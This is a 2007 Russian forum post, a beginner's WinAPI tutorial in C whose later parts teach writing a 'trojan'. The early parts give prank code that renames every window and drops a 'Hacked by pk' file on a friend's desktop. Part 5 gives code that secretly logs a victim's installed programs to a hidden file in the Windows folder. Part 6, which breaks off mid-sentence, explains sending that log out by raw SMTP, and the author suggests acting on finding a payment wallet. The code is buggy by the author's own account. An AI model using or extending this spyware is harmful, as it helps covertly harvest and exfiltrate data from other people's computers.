Форум общения вебмастеров Devil Art.Net


Программирование в среде Windows

Опубликовано 01.05.2007 - В рубриках: Кодинг


Дело было вечером, делать было нечего - решил написать что-то вроде статьи для чайников - основы программирования под Windows на WinAPI.

Часть 1

И так, начнем, пожалуй. Нам понадобиться:

1. Компилятор для C/C++. Я использовал bcc32.exe из Borland C++ Builder 6.0.

2. Текстовый редактор типа “блокнот”. Мой вариант - EmEditor.

3. Мануал (ака хелп ака помощь) по WinAPI. Настоятельно рекомендую Windows SDK из Delphi 7. На крайняк сгодится и MSDN

4. Мозги J

В принципе, по скольку мы кодим на WinAPI, в качестве языка не обязательно использовать C. Просто лично для меня он как раз подходит для таких вот маленьких и довольно низкоуровневых программ. Имхо, Делфи и иже с ним больше для каких-то крупных прикладных задач.

Чтож, поехали.

Идея первого примера взята из книги “Delphi глазами хакера” очень уважаемого мной человека Михаила Фленова. Суть программы проста - мы перебираем все открытые окна и меняем их заголовки на текст, который нам нравится

Для начала нам нужно реализовать тот самый перебор окон. Это делается функцией (есесно, WinAPI) EnumWindows. У нее два параметра - адрес функции, которая будет вызываться при нахождении следующего окна (такие функции называются CallBack - функции обратного вызова) и параметр, который передается CallBack-фукнции.

И так, открываем текстовый редактор и пишем следующее:
#include "windows.h"

main(int argc, char ** argv)

{

EnumWindows(&RenameWnd, (LPARAM)argv[1]);

}

Разбор полетов:

- windows.h - заголовочный файл, в котором содержаться описания WinAPI-фукнций;

- RenameWnd - имя той самой callback-функции (ее мы реализуем позже);

- “&” - это символ взятия адреса в памяти в языке C. Для Делфи - @. Запись &RenameWnd означает, что мы передаем не результат, возвращаемый функцией, а адрес этой функции в памяти;

- (LPARAM)argv[1] означает следующее: мы берем первый параметр, с которым запустили нашу прогу, приобразовываем его в тип LPARAM и передаем в качестве второго параметра функции EnumWindows, или по-другому, в качестве первого параметра для callback-функции RenameWnd. Собсна, argv[1] - это текст, на который мы будем менять заголовки окон;

Основа есть - мы перебираем окна. Проблема в том, что мы ничего с ними не делаем Чтобы с ними что-то происходило, мы должны написать реализацию функции RenameWnd. Дык давайте реализуем. Становимся курсором после #include “windows.h” и до main(int argc, char ** argv), жмем ентер и пишем:

BOOL CALLBACK RenameWnd(HWND h, LPARAM lparam)

{

SetWindowText(h, (char**)lparam);

return TRUE;

}

Без пояснений никуда:

- BOOL - это тип, который возвращает функция. Собсна, это простой boolean: true или false. Почему именно этот тип - объясню позже.

- CALLBACK - указание на то, что наша функция это функция обратного вызова;

- HWND h - это хэндл только что найденного окна. Хэндл - это уникальный номер окна в системе, указатель на это окно. Хэндл возвращается функцией EnumWindow. “Откуда он вообще здесь взялся, и кто сказал, что он должен здесь быть?” спросишь ты. Все просто - прототип (описание) callback-функции определяется “главной” функцией (т.е. функцией, которая вызывает callback-функцию; в нашем случае это, как ты понял EnumWindows). Если ты юзаешь справку WindowsSDK из Delphi 7 - набирай в ее поиске EnumWindows, открывай ее описание, ищи строку “Points to an application-defined callback function. For more information, see the EnumWindowsProc callback function. ” и тыкай по ссылке на EnumWindowsProc - там будет прототип.

- LPARAM lparam - дополнительный параметр. В нашем случае это нужный нам текст;

- SetWindowText(h, (char**)lparam) - это WinAPI-функция, которая делает то, что нам надо - изменяет заголовок определенного окна. У нее два параметра - хэндл (указатель, помнишь?) нужного окна и собственно текст нового заголовка. Такой “интересный” формат записи этого самого заголовка объясняется тем, что его тип должен быть LPCTSTR, аналогом которого в Си является char**, а lparam, если ты еще не забыл, является тем параметром, через который передается новый текст заголовков. Поэтому эта страшная строка - всего лишь преобразование к нужному типу;

- return TRUE - указывает на то, что функция возвращает true. Этим объясняется выбранный нами тип для функции: дело в том, что EnumWindows перебирает окна, пока callback-функция не вернет false. Нам нужно перебрать все окна, поэтому мы всегда возвращаем true.

Все, задача выполнена Остается откомпилировать и запустить приложение.

Компиляция для Borland C++ Builder такова - кидаем наш файл (я назвал его ReNameWindows.c) в подпапку bin папки с билдером, затем запускаем cmd, переходим в эту папку (cd /D “C:\Program Files\Borland\CBuilder6\bin”) и запускаем саму компиляцию: bcc32.exe ReNameWnd.c. Если компиляция прошла без ошибок (warning’и не в счет ), можно запускать нашу прогу: ReNameWnd.exe < ? ?екст, который нам нравиться>. Если при компиляции произошла ошибка или прога не работает - ищи ошибки в коде.

Полный код:

#include "windows.h"

BOOL CALLBACK RenameWnd(HWND h, LPARAM lparam)

{

SetWindowText(h, (char**)lparam);

return TRUE;

}

main(int argc, char ** argv)

{

EnumWindows(&RenameWnd, (LPARAM)argv[1]);

}

ВНИМАНИЕ: после использования возможны баги - пропали всплывающие подсказки, не работает Пуск. Лечение - перезагрузка.

Часть 2

И так, набор средств тот же.

Сначала теория.

Наша задача - поиск определенного окна и нажатие в нем определенной кнопки. В принципе, первая часть (поиск нужного окна) похожа на предыдущую, с той разнице, что нам нужны не все окна, а определенное. У нас два варианта:

1) как в прошлый раз, перебирать все окна, функцией GetWindowText получать заголовок окна, сравнивать его с нужным нам… Геморрой, правда? Если в этом ты со мной согласен, смотри второй вариант

2) юзаем функцию FindWindow. Краткое описание:

- прототип: HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name

LPCTSTR lpWindowName // pointer to window name

);

- назначение: получение хэндла окна с определенным заголовком. Что такое хэндл - см. предыдущую статью.

- параметры:

LPCTSTR lpClassName - название класса окна. Не будем наживать себе лишних проблем, поэтому оно у нас будет 0;

LPCTSTR lpWindowName - самое важное - текст заголовка нужного окна.

С этим разобрались, едим (ударение на первый слог ) дальше. После того, как мы нашли “наше” окно, мы должны найти в нем кнопку. Тут есть важный момент: по сути, кнопки, чекбоксы и остальные элементы управления типичной Виндоус-программой являются окнами. Слегка неожиданно, но это так. Конечно, это не “обычные” окна, в которых запускаются программы. Это так называемые “дочерние окна”, т.е. окна, принадлежащие другому окну (родительскому).

Для поиска кнопки будем использовать аналог FindWindow для дочерних окон - FindWindowEx. Помимо lpClassName и lpWindowName у нее есть еще два параметра - hwndParent и hwndChildAfter. Первый - это хэндл родительского окна, дочерние окнам которого будут перебираться. Второй - хэндл дочернего окна,с которого будет производиться поиск. (Возможно, немного понятнее будет оригинальное описание из WindowsSDK: hwndChildAfter - Identifies a child window. The search begins with the next child window in the Z order.) Вернемся к lpClassName и lpWindowName: первый будет снова 0, второй - кэпшен (ну, надпись…) нужной кнопки.

И так, мы нашли кнопку. Теперь нужно ее нажать. Функция нажатия приведена в листинге, ее описание еще в комментариях. Единственное, скажу про функцию SendMessage. Вообще, сообщения - это слишком объемная тема, поэтому попробую объяснить коротко. Windows управляется при помощи сообщений - неких “сигналов”, посылаемых из недр ОС управляющим элементам - кнопкам, окнам, etc. Например, когда ты тыкаешь в неактивное окно, ему посылается сообщение WM_SETFOCUS, означающее, что окну надо перерисоваться на переднем плане. Активному окну посылается сообщение WM_KILLFOCUS - оно уходит на задний план, и т.д. Так вот, SendMessage позволяет нам с тобой самим посылать сообщения. Первый параметр - хэндл окна, которому мы посылаем сообщение. Второй - само сообщение. Третий и четвертый - доп. параметры; какими они должны быть - смотри описание сообщения, для простых сообщений выставляй их в 0.

В коде присутствует еще одна незнакомая функия - PostMessage. По сути, это тот же SendMessage, с одной разницей: SendMessage отправляет окну сообщение и ждем, когда окно обработает сообщение и вернет результат нашей проге. Выполение проги не будет продолжаться, пока сообщение не будет обработано. PostMessage отправляет сообщение и возвращает управление вызвавшей проге, не дожидаясь ответа от окна, которому сообщение было послано.

Собсна, сам код:

#include "windows.h"

void PressButton(HWND h) //код с одним :) изменением взят у мыщхъ'а. Параметр - хэндл кнопки

{

SendMessage(h, WM_SETFOCUS, 0, 0); //устанавливаем фокус на кнопку. Что такое фокус, я надеюсь, ты знаешь :)

SendMessage(h, BM_SETSTATE, 1, 0); // сообщаем кнопке, что ее нажали. Доп. параметр 1 - подсветка кнопки. Нафига она, я так и не понял, но без нее не пашет :)

PostMessage(h, WM_KILLFOCUS, 0, 0); //убираем фокус. Обязательное действие. Почему - очень просто. Любому юзеру известно, что кнопку что-либо делает после того, как ее отпустили. Обрати внимание, что здесь юзается PostMessage - раньше мы должны были дождаться обработки нашего сообщения, сейчас же нам это уже неважно.

}

main(int argc, char** argv)

{

HWND h;

h = FindWindow(0, argv[1]); // первый параметр программы - заголовок нужного окна

if (h != 0) // если хэндл 0, значит, окно не было найдено, и все дальнейшие действия бессмысленны.

{

HWND hc;

hc = FindWindowEx(h, 0, 0, (char**)argv[2]); // второй - кэпшен кнопки

if (hc != 0) // то же самое

PressButton(hc);

}

}

Все, компилируй, запускай: ButtonPress.exe < ? ?аголовок окна> < ??? ?пшен кнопки>. Для теста советую написать простейшую прогу в том же С++ Builder - форма, кнопка, при нажатии на которую выскакивает MessageBox.

Часть 3

Наводить хаос в окнах и жать чужие кнопки мы уже умеем. Предлагаю заняться чем-нить более нужным. Заодно можно приколоться над дружбаном

Идея: создаем на десктопе текстовый файл и пишем в него что-нить типа “you was hacked”.

Набор средств: все в точности, как в первые два раза (только мозгов желательно по-больше ).

И так, поехали. Сначала, как всегда, теория. Нам нужно:

1) найти папку Рабочий стол;

2) создать файл;

3) записать в него текст.

Рабочий стол находится в папке вида < ? ?иск_с_системой>\Documents and settings\< ? ?мя_юзера>\Рабочий стол. Значит, нам нужно узнать букву диска с системой и имя юзера. Первое мы вытащим из реестра: в ключе

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DocFolderPaths находятся пути к папке “Мои документы” для каждого юзера. Мы вытащим оттуда этот путь, и вырежем из него < ? ?иск_с_системой>\Documents and settings\< ? ?мя_юзера>. Но чтобы это проделать, нам нужно имя юзера. Получим мы его функицей GetUserName. У нее два парметра: первый - указатель на буфер, куда собственно запишется имя; второй - адрес переменной типа DOWORD; его начальным значением должен быть размер буфера; после выполнения функции в него будет записана длина имени.

Так, имя юзера есть. Теперь лезем в реестр. Нам понадобятся две функции. Первая - RegOpenKeyEx, чтобы получить доступ к самому реестру. У нее 5 параметров:

-нужный нам раздел реестра; в нашем случае - HKEY_LOCAL_MACHINE;

-собсна, путь к нужному ключу. Тут есть одна особенность для языка С - в пути должны стоят не по-одному слешу, а по два. Т.е. должно быть так: “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\DocFolderPaths”. Если ты пишешь не на Си - забудь про это ;

-третий параметр описан как “заразервированый”. Он всегда должен быть 0;

-параметры безопастности доступа; нам много не надо, поэтому выставляем KEY_QUERY_VALUE - возможность получать значения параметров;

-последний - адрес переменной типа HKEY, туда будет записан хэндл для доступа к параметрам;

Просто доступ к реестру нам не нужен , поэтому юзаем RegQueryValueEx для получения нужного значения. Описалово параметров:

-хэндл открытого ключа; он у нас - последний параметр в RegOpenKeyEx;

-собсна, что будем получать; записи идут в виде < ? ?мя_юзера> < ? ?уть_к_Моим_документам>, поэтому этим параметров будет выступать переменная с именем юзера;

-зарезервировано; всегда 0;

-тип получаемого значения; не будем выпендриваться, поставим 0 - тип не указан;

-буфер для возвращаемого значения;

-переменная типа DWORD, куда будет записано кол-во полученых байт.

Тэкс, у нас есть путь к “Моим документам”. Нам надо сделать из него путь к папке с “Рабочим столом”. Это уже чистый Си, поэтому я не буду объяснять, как это делать. Мой вариант смотри в листинге.

Теперь займемся “файловой” частью. Сначала надо создать файл. Это делается функцией CreateFile. Параметры:

-путь к создаваемому файлу; у нас это будет переменная; если прописываешь вручную, не забудь заменить “\” на “\\” для Си\Си++

-параметы доступа к файлу; возможны три варианта: доступ разрешен на чтение атрибутов файла; возможно чтение из файла; возможна запись в файл; на есессно нужна запись, поэтому ставим сюда GENERIC_WRITE;

-возможность “расшаривать” файл; оно нам нафиг не надо, стави 0;

-структура, описывающая правила доступа к файлу; стави 0 - по-умолчанию;

-способ создания; возможно 5 вариантов, их описание смотри в хелпе; я предлагаю поставить CREATE_ALWAYS - если файл с таким именем уже существует, он будет перезаписан нашим, пока пустым, файлом;

-атрибуты файла; они нас не волнуют, делаем FILE_ATTRIBUTE_NORMAL; для пущего веселья может сделать FILE_ATTRIBUTE_READONLY ;

-это хэндл “эталонного файла”; если ты укажешь здесь хэндл реального файла, все атрибуты этого файла будут применины к созданому нами; ставим 0.

От самого CreateFile нам с тобой толку мало, ибо нам надо не только создать файл, но и записать его. Для этого нам послужит значение, которое возвращает CreateFile - хэндл созданного файла. Поэтому мы должны сохранить его. Код примера:

HANDLE h = CreateFile(...)

Перед тем, как писать в файл, полезно проверить, что файл вообще создался. Это делается так:

if (h != INVALID_HANDLE_VALUE)

... //пишем в файл

Писать будем все тем же WinAPI. Нужная функция - WriteFile (оригинальное название, правда? ) Параметры:

-хэндл файла, в который пишем; по примеру выше - h;

-собсна то, что мы будем писать;

-количесво байт, которое мы будем писать;

-адрес переменной, куда запишется количество байт, которое было записано в файл (прошу прощения за тавтологию);

-параметры записи; нам лишняя камасутра не нужна, поэтому ставим 0.

Все, программа готова В самом коде я добавил пару комментов, чтобы было понятнее. Сам код:

HANDLE h;

char username[256]; //здесь будет имя юзера

char docs[256]; //здесь - путь, сначала к документам, потом к десктопу

DWORD *d;

DWORD size = sizeof(username), dwCount = sizeof(docs);

HKEY hreg;

char txt[] = "Hacked by pk :P"; //текст, который будет записывать в файл

char filename[] = "\\Рабочий стол\\readme.txt"; //кусок пути к файлу, зачем - поймешь дальше

int i, t; //для служебных нужд ;)

SetFileApisToANSI(); //важная строка; из-за разницы кодировок компилятор не понимает русские буквы (они у нас в пути, "Рабочий стол"), поэтому не сможет создать файл. Эта фукнция (тоже WinAPI) говорит ему, что мы работаем в ANSI-кодировкой;

GetUserName(username, &size);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\DocFolderPaths", 0, KEY_QUERY_VALUE, &hreg);

RegQueryValueEx(hreg, username, 0, 0, docs, &dwCount); //в docs записывает путь к "Моим документам"

RegCloseKey(hreg); //закрываем реестр - чисто на всякий случай :)

//следующие 5 строк - финт ушами. В них формируется путь к Рабочему столу. Принцип объяснять не буду, т.к. это уже спецификация языка, для ястности опишу только сами действия

i = strstr(docs, username) + strlen(username); //получаем адрес последнего символа в записи вида < ? ?уть_к_Documents and setting>\< ? ?мя_юзера>

t = &docs[0]; //получаем адрес начала строки

i = i - t; //вычисляем длину записи вида < ? ?уть_к_Documents and setting>\< ? ?мя_юзера>

docs[i] = ‘\0′; //ставим в конец этой записи символ конца строки, т.е. в docs теперь путь не к “Моим документам”, а к папке юзера

strcat(docs, filename); //добавляем к пути к папке юзера путь к “Рабочему столу” + имя нашего файла

h = CreateFile(docs, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

if (h != INVALID_HANDLE_VALUE)

WriteFile(h, txt, sizeof(txt), &d, 0);

CloseHandle(h); //закрываем файл

З.Ы. Код работает для компилятора Borland C++ Builder 6.0. При компиляции в Visual C++ вылезла туева хуча ошибок. Я их посмотрел по-диогонали - в основном ошибки преобразования типо, так что исправить их не сложно. Возможно, позднее выложу код для VC++ 2005.

Часть 4

Как и обещал, после некоторого времени совокупления с собственным мозгом, код для VC++. Обрати внимание, что в вызове почти всех API-функций добавлена буквы A. Сделано это по той причине, что VC++ по-умолчанию использует в строках Unicode. Окончание A говорит о том, что нас интересует ANSI, почему - смотри выше. Все остальные изменения касаются исключительно особенностей синтаксиса языка. Читай, разбирайся, просвещайся:

#include "stdafx.h"

#include "windows.h"

#include "conio.h"

int main(int argc, char** argv)

{

HANDLE h;

char username[256], docs[256];

DWORD *d;

DWORD size = sizeof(username), dwCount = sizeof(docs);

HKEY hreg;

char txt[] = "Hacked by pk :P";

char filename[] = "\\Рабочий стол\\readme.txt";

int i, t;

SetFileApisToANSI();

GetUserNameA(username, &size);

RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\DocFolderPaths", 0, KEY_QUERY_VALUE, &hreg);

RegQueryValueExA(hreg, username, NULL, NULL, (LPBYTE)docs, &dwCount);

RegCloseKey(hreg);

i = (int)strstr(docs, username) + strlen(username);

t = (int)&docs[0];

i = i - t;

docs[i] = '\0';

strcat(docs, filename);

h = CreateFileA(docs, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

if (h != INVALID_HANDLE_VALUE)

WriteFile(h, txt, sizeof(txt), (LPDWORD)&d, 0);

CloseHandle(h);

}

З.Ы. Я щас подумал и решил, что остальные статьи буду писать для VC++, т.к. чтобы этот код заработал для С++ Билдера, достаточно убрать строку #include “stdafx.h”. Для переноса же с Билдера на VC надо потратить довольно много времени.

Часть 5

Привет, хацкер

Сегодня мы с тобой займемся интереснейшей вещью - написанием трояна. Если ты не знаешь, что такое троян - читай манулы. Если знаешь - читай дальше

Наш троян будет тырить некую инфу и отсылать нам на мыло. Скажу сразу, сегодня мы реализуем только первую часть, т.е. стибрим инфу; статья по отсылке инфы на мыло (скорее всего, последняя в этом цикле) будет позже.

Но что мы будем тырить? Пароли от мыла/инета/кошелька? Историю Аси? Это слишком банально, таких троянов сотни. Предлагаю утащить что-нибуть, возможно, менее полезное, но более интересное, например, список всех установленных программ. А уж если в этом списке будет, например, WMKeeper, действовать согласно своим потребностям и совести

И так, поехали. Сначала нам надо получиться список установленных программ. Путем несложных изысканий нужные нам данные обнаруживаются в реестре, а именно HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\. Значит, все что нам нужно - скопировать эти данные. Можно сохранить их в reg-файл всего одной функцией и потратить пару часов на разбор всего этого. Но мы с тобой умные, поэтому поступим по-другому. У (почти) каждого подключа в этом ключе есть параметр DisplayName. Именно значение этого параметра отображается в списке “Установка и удаление программ”. Это гораздо понятнее, чем, например, {84ED213F-B9A7-4504-86AD-76D7DC37A6CC}. Обрати внимание на слово “почти” в предпоследнем предложении. Дейвительно, этот параметр есть не в каждом подключе (причина его отсутсвия мне неизвестна). Если его нет, нам придется довольствоваться именем подключа. Вести лог мы будет в файле C:\Windows\syslog.txt.

Перейдем к практике. Ключевая функция, которую мы будем юзать - RegEnumKeyExA. Она перечисляет все подключи по определенному пути. Параметры:

-хэндл ключа, подключи которого мы будет перечислять; что здесь будет - см. ниже;

-индекс - целочисленная переменная, номер текущего подключа; при каждом вызове функции должен увеличиваться на 1;

-адрес буфера для имени подключа - по этому адресу будет сохранаться имя текущего подключа;

-размер буфера имение - адрес переменной с размером буфера имени; после вызова сюда запишется кол-во байт, которое было занесено в буфер. Ахутнг: возвращенный размер НЕ будет учитывать символ завершения строки (для С\С++); я это понял после получаса биения головой об клавиатуру, когда нихрена не получалось

-зарезервировано - всегда 0;

-адрес буфера, куда запишется класс полученой инфы; нам до лампочки;

-адрес предыдущего буфера; ценность аналогичная;

-переменная типа PFILETIME, куда занесется время последнего измененися подключа; может быть довольно ценной, но я эту инфу не использовал.

Вприципе-то и все. Эта функция должна вызываться в цикле, пока возвращаемое значение не станет ERROR_NO_MORE_ITEMS (т.е. пока есть, что перечислять). План действий:

1) вызываем функицю; если остались неперечисленные элементы - goto 2, иначе goto 6

2) открываем подключ;

3) получаем значение DisplayName;

4) пишем полученное значение в лог;

5) goto 1

6) закрываем реестр и файл.

Основную идею я тебе рассказал. Подробности ищи в комментах к коду. Как всегда, стандартные сишные функции не описываю, только результат их выполнения.

Код:

#include "stdafx.h"

#include "windows.h"

int _tmain(int argc, _TCHAR* argv[])

{

HKEY hreg, huinst; //первая - для хэндла подключа Uninstall; вторая - для каждого подключа-проги

HANDLE hlog;

int i = 0;

char key[256], keyclass[256], uinstkey[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" //путь в реестре, end[] = "---------------------------\nВсего "; //сколько всего пррог - добавим в конец файла для информативности :)

DWORD keysize, classsize, dwSize = sizeof(key), dwTmp = sizeof(uinstkey); //разнообрызнае переменные для указания размеров; назначение смотри ниже

PFILETIME time = 0;

char log[] = "C:\\Windows\\syslog.txt";

SetFileApisToANSI();

RegOpenKeyExA(HKEY_LOCAL_MACHINE, uinstkey, 0, KEY_READ, &hreg); //открываем подлюч Анинсталл

hlog = CreateFileA(log, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0); //создаем файл; обрати внимание на абрибут FILE_ATTRIBUTE_HIDDEN - сделаем его скрытым;

while (RegEnumKeyExA(hreg, i++, (LPSTR)key, &keysize, 0, (LPSTR)keyclass, &classsize, time) != ERROR_NO_MORE_ITEMS) //i++ - трюк на СИ - после каждого вызова i увеличивается на 1

{

uinstkey[dwTmp-1] = '\0'; //возвращаем путь к Uninstall в первозданный вид; в dwTmp - начальная длина строки

strcat(uinstkey, key); //в key заноситя имя подключа очередной проги; здесь мы составляем путь до подлключа проги

RegOpenKeyExA(HKEY_LOCAL_MACHINE, uinstkey, 0, KEY_READ, &huinst); //открываем подлюч текущей проги

dwSize = sizeof(key); //возвращаем dwSize начальное значение; сделано потому, что значение этой переменной меняется в следующей строчке, и если не вернуть начальное значение, будут ошибки;

if (RegQueryValueExA(huinst, "DisplayName", NULL, NULL, (LPBYTE)key, &dwSize) != ERROR_SUCCESS) // если у подключа нет параметра DisplayName...

dwSize = keysize; //устанавливаем длину строки равной длине строки с именем подлюча; необходимо для корректной записи в лог; если DisplayName есть, длина строки будет dwSize, т.е. длина считавшегося DisplayName (это - особенность функции RegQueryValueExA, смотри описание параметра lpcbData)

key[dwSize] = '\n'; //ставим последним символом символ перевода строки, чтоб в логе было красиво :)

WriteFile(hlog, key, dwSize+1, &dwSize, 0); //пишем в лог; здесь нам и пригодился dwSize

keysize = sizeof(key); //важная строка - до ее выполнения в keysize - длина полученой строки, полученой функцией RegEnumKeyExA; если в следующий раз длина строки будет больше keysize, функция ничего не сделает; больше 256 символов строка точно не будет

RegCloseKey(huinst); //закрываем подключ текущей проги

memset(key, '\0', sizeof(key)); // чистим key

}

sprintf(end, "%s%i", end, i-1); //добавляем к строке итога число прочитаных подключей

WriteFile(hlog, end, strlen(end), &dwSize, 0); //записываем итог к лог

CloseHandle(hlog); //закрываем файл

RegCloseKey(hreg); //закрываем ключ Uninstall;

}

Код написан на VC++ 2005.

Дальше читай внимательно. В проге есть косяк, который мне не удалось отловить. При запске из VC++ в режиме Debug прога отрабатывает абсюлютно правильно, но в конце выскакивает ошибка (в VC++ она звучит как “Стэк рядом с переменной huninst поврежден”). Если запускать ехешник, скомпиляный в режими Debug, в том же конце вылазит банальный Access violation. В режиме Release (не важно, как запускать, из VC++ или ехешником) ошибок не вылазит, но в лог переодически записываются кривые данные (у меня, например, напроч отказывалась записываться первая прога, оставляя пустую строку, а в середине лога вылазили куски каких-то записей, что-то вроде “o to r” и т.п.). Я сомневаюсь, что ошибка в логике, и подозреваю, что дело в моем плохом зании Си. Если кто-нибудь лучше знает язык и найдет ошибку - отпишитесь, буду благодарен

Собственно все, запускай и проверяй наличие файла syslog.txt. Если его там нет, в первую очередь проверь, включено ли у тебя отображение скрытых файлов

В следующей раз мы с тобой попытаемся отправить этот файл на мыло. Удачи.

Часть 6

И так, последняя статья цикла “Программирование под Windows”. Есессна, еще писАть буду, но не в этой теме, и регулярности не ждите. И так, понеслась.

В прошлый раз мы с тобой написали функцию, которая записывала в файл названия программ, установленных на компе. Поскольку, в этом файле они нам не сильно нужны , мы будем отсылать этот список на мыло.

Сразу две оговорки. Во-первых, материал этой статьи будет чисто теоретическим, полного кода, как было в прошлых статьях, ты не найдешь. Причина проста - по разным причинам (прошу прощения за тавтологию), мне не удалось наладить контакт ни с одним SMTP-сервером. Одна часть протестенных серверов требовала авторизацию (чего мне не хотелось), другая просто криво сделана. ВСЯ теория, которую я буду рассказывать, написана по RFC (кто не знает, это, грубо говоря, RFC - документы, описывающие разные стандарты в сфере ИТ), т.е. теоретически прога должна работать с любым сервером, не требующим авторизации для отправки. Но, как говориться, не судьба…

Во-вторых (это уже больше относиться к статье), заранее скажу, что мы не будем прикреплять файл к письму, т.к. для этого его надо закодировать алгоритмом Base64, а это лишний (и очень большой ) геморрой. Поэтому, мы будем отправлять список программ прямо в теле письма.

Что ж, поехали. Налаживать контакт с SMTP-сервером (а именно через него отправляются письма) мы будем посредством библиотеки WinSock2. Кстати, наша прога не будет работать под Вин95 , т.к. в нем по-умолчанию нет этой библиотеки. Но я надеюсь, что у тебя нечто современнее творения Майкрософт за 1995 год, и, соответственно, библиотека у тебя есть. Первая строчка кода, которую мы напишем:

#include "WinSock2.h"

подключает заголовочный файл, в котором описаны функции библиотеки.

Перед использованием библиотеки, нам необходимо инициализировать ее. Это делается функцией WSAStartup. У нее два параметра. Первый это результат выполнения функции MAKEWORD(2,2), которая указывает нужную нам версию библиотеки (немного криво сказал, но я думаю, смысл ты понял). Второй - адрес структуры типа WSADATA, куда будет возвращена информация о библиотеке; для нас она никакой ценности не представляет, но правила есть правила. По этому пишем:

WSDATA wData;

WSAStartup(MAKEWORD(2,2), &wData);

Если функция не сможет загрузить библиотеку, она вернет ненулевое значение, но, я надеюсь, простенькую проверку возвращаемого значения ты сделаешь сам Если все хорошо, переходим к следующему этапу - созданию сокета. Сам сокет представляется переменной типа SOCKET. Создание сокета производится функцией socket. У нее три параметра: константа, определяющая, где мы будем юзать сокет, для инета ставим AF_INET; тип сокета, не вдаваясб в подробности - обмен пакетами можно производить с соединением, и без него; с соединением медленнее, но надежнее, без онного - быстрее, но пакеты могут потеряться. Нас это не устраивает, поэтому бум устанавливать соединение - второй параметр ставим SOCK_STREAM. Третий - тип протокола; у нас будем TCP, поэтому ставим IPPROTO_TCP. Собсна, просто выполнить функцию нам недостаточно, надо получить ее значение, которое и будет, скажем так, сокетом. Поэтому у тебя должно быть что-то вроде SOCKET sServer = socket(…). Не помешает проверка - если произошла ошибка создания сокета, значение переменной будет INVALID_SOCKET.

Теперь один из самых запутанных этапов - нам надо объяснить сокету, с чем мы будем соединяться. Пересмотрев кучу макулатуры по теме, я нашел несколько вариантов сего действия, но у меня заработало нечто среднее И так, основой у нас будет структура типа struct sockaddr_in тут_название. В дополнение нам понадобиться структура типа in_addr, которая преобразует айпи-адрес сервера в формат, понятный компилятору. Короче, держи код, читай комменты:

char smtpserv[] = "194.67.23.111"; //айпи SMTP-сервера. Тут написан адрес smtp.mail.ru, но он со мной общаться не захотел :(

u_short port = 25; //порт, куда будем коннектиться

struct sockaddr_in addr;

in_addr ip;

ip.S_un.S_addr = inet_addr(smtpserv); //преобразовываем айпи в понятный компу

addr.sin_addr = ip; //айпи

addr.sin_family = AF_INET; // где юзаем

addr.sin_port = htons(port);//порт

Теперь в структуре addr находится вся инфа, необходима для подключения к серверу. Собсна, это мы сейчас и сделаем Коннект осуществляется функцией connect(сокет для соединения; указатель на структуру sockaddr_in; размер структуры, указанной во 2-м параметре). В качестве значения может вернуть SOCKET_ERROR, если есть какой-то косяк - делай проверку.

Перейдем к приему/передаче пакетов. Для приема пакетов используется функиция recv(сокет, откуда принимать; буфер, куда записывать; количество байт, которое надо принять; флаги). Последний параметр нам не важен, ставим 0. recv надо вызвать сразу после коннекта, т.к. сервер возвращает строку, подтверждающую соединени.

Теперь отправка. Сразу скажу, что после почти каждой отправки необходимо получить ответ сервера (исключение я опишу ниже), поэтому после каждой функции отправки (про нее опять же ниже), необходимо выполнять recv.

Согласно RFC, для отправки письма необходимо выполнить следующие действия (если сервер не требует авторизации; иные случае здесь не рассматриваются):

- выполнить команду HELO хост - “поздороваться” с сервером. В качестве хоста обычно можно указать localhost;

- начать отправку - команда “MAIL FROM: < ? ?дрес_мыла_отправителя>\r\n” - без кавычек, естесна. Учти, что символы “больше-меньше” (<>) возле адреса обязательные (опять же, по RFC, в реале обычно можно обойтись без них);

- “RCPT TO: < ? ?дрес_мыла_получателя>\r\n” - тут все понятно. Опять же, занки “больше-меньше” обязательны;

- “DATA\r\n” - начало текста. Небольшое лирическое отступление: если ты умный (я на это надеюсь ), и для отладки после каждого получения ответа сервера ты выводил этот самый ответ на консоль/в виде MessageBox, то ты заметил, что сервак возвращал сообщения с кодом 250 (кроме момента сразу после подключения; он должен был вернуть 220). Так вот, после выполнения DATA серв вернет 354 и не будет возвращать ничего вплоть до окончания текста письма. Это тот самый случай исключения, когда можно не получать ответ.

- дальше следует текст письма; у нас тут будет содержимое нашего syslog.txt;

- для окончания письма надо послать последовательность символов \r\nточкаr\n\;

- чтобы не сильно калечить сервер, выполняем команда quit для выхода.

Сама отсылка пакетов производится функцией send. С параметрами все просто:

- сокет, с которого отсылаем пакет;

- сам пакет (char);

- размер пакета;

- флаги; у нас 0.

Собсна, идея отсылки проста - читаем строку из файла, загоняем ее в переменную, отслыаем содержимое переменной на сервер - и так по циклу.

Чтение файла можно реализовать стандартными средствами языка, но по-скольку, у нас все таки программирование под Windows, я опишу API-функцию ReadFileEx, которая позволяет читать файлы. Конечно, можно обойтись без файла (напрямую считывать из реестра), но, я думаю, ReadFileEx тебе все таки пригодится. И так, параметры:

- хэндл файла;

- перменная типа char[], куда будут заноситься результаты;

- сколько читать;

- адрес структуры типа OVERLAPPED;

- адрес такой называемой “completion routine”, фактически, функции, которая выполниться после окончания чтения; можно поставить 0

Если чтение выполнилось нормально, функция вернет неноль. Саму функцию надо запускать в цикле while(ReadFileEx(…) != 0), а в теле выполнять отправку.

Прежде чем читать, нужно открыть файл. Это можно сделать или фукнцией CreateFile с параметром OPEN_EXISTING или OPEN_ALWAYS, или заюзать специальную функцию OpenFile. Последняя мне не понравилась, т.к. она возвращает значение загадочного типа HFILE (загадочного, ибо загадка, нафиг он вообще нужен, если основные функции работы с файлами используют HANDLE), поэтому мы заюзаем вот такое:

